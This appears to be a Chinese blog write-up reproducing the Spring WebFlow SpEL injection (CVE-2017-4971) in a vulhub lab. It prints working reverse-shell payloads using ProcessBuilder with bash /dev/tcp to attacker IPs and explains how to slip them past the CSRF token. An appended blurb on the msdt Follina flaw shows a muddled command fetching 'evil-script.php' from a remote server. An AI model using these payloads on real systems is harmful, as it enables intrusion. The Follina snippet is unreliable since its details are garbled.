【vulhub】Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)漏洞复现

漏洞详情

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 - 2.4.4

利用条件:可以登录

测试环境

运行测试环境:
靶机: 192.168.100.23 攻击机: 192.168.100.23

docker-compose up -d

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):

_(new java.lang.ProcessBuilder(“bash”,"-c",“bash -i >& /dev/tcp/10.0.0.1/21 0>&1”)).start()=vulhub

(注意:别忘记URL编码)

成功执行,获得shell:
首先访问http://192.168.100.23:8080,点击该登录页面,然后进入登录模块
在这里插入图片描述
会出现很多个默认账号与密码,我们随意挑选一个进行登录操作:
在这里插入图片描述
在这里插入图片描述
然后我们进入这个网址/hotels/1,尽管我并不知道为什么要进入这个网址,但是,应该可以肯定,漏洞的触发点就在这个网址:
在这里插入图片描述
点击这个Book Hotel按钮,然后进行到下一个页面:
随意输入一些合法的内容后,我们点击Proceed然后会跳转到Confirm页面:
在这里插入图片描述
随意输入一些合法的内容后,我们点击Proceed然后会跳转到Confirm页面:
1111111111111111

在这里插入图片描述
在点击Confirm的时候进行抓包,此处存在命令执行,可反弹shell

在这里插入图片描述

使用如下反弹shell的Payload:

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub

POST内容增加如下,一定注意这个是有csrf的token的,所以我们重放是没用的,只能在forward的时候改,改完转发

在这里插入图片描述
此处监听10086端口,然后,将IP换为你的远程攻击机IP
在这里插入图片描述

放包后即可获取到shell:成功getshell。
在这里插入图片描述

本来还想写dns验证的,但是他这个exp里没有runtime函数,所以不能反弹。

参考文章:
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2017-4971
https://www.cnblogs.com/cute-puli/p/13363752.html
https://blog.csdn.net/weixin_43736941/article/details/108276870
https://blog.csdn.net/zy15667076526/article/details/111413941

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2022-30190是一个针对Microsoft的漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行此命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值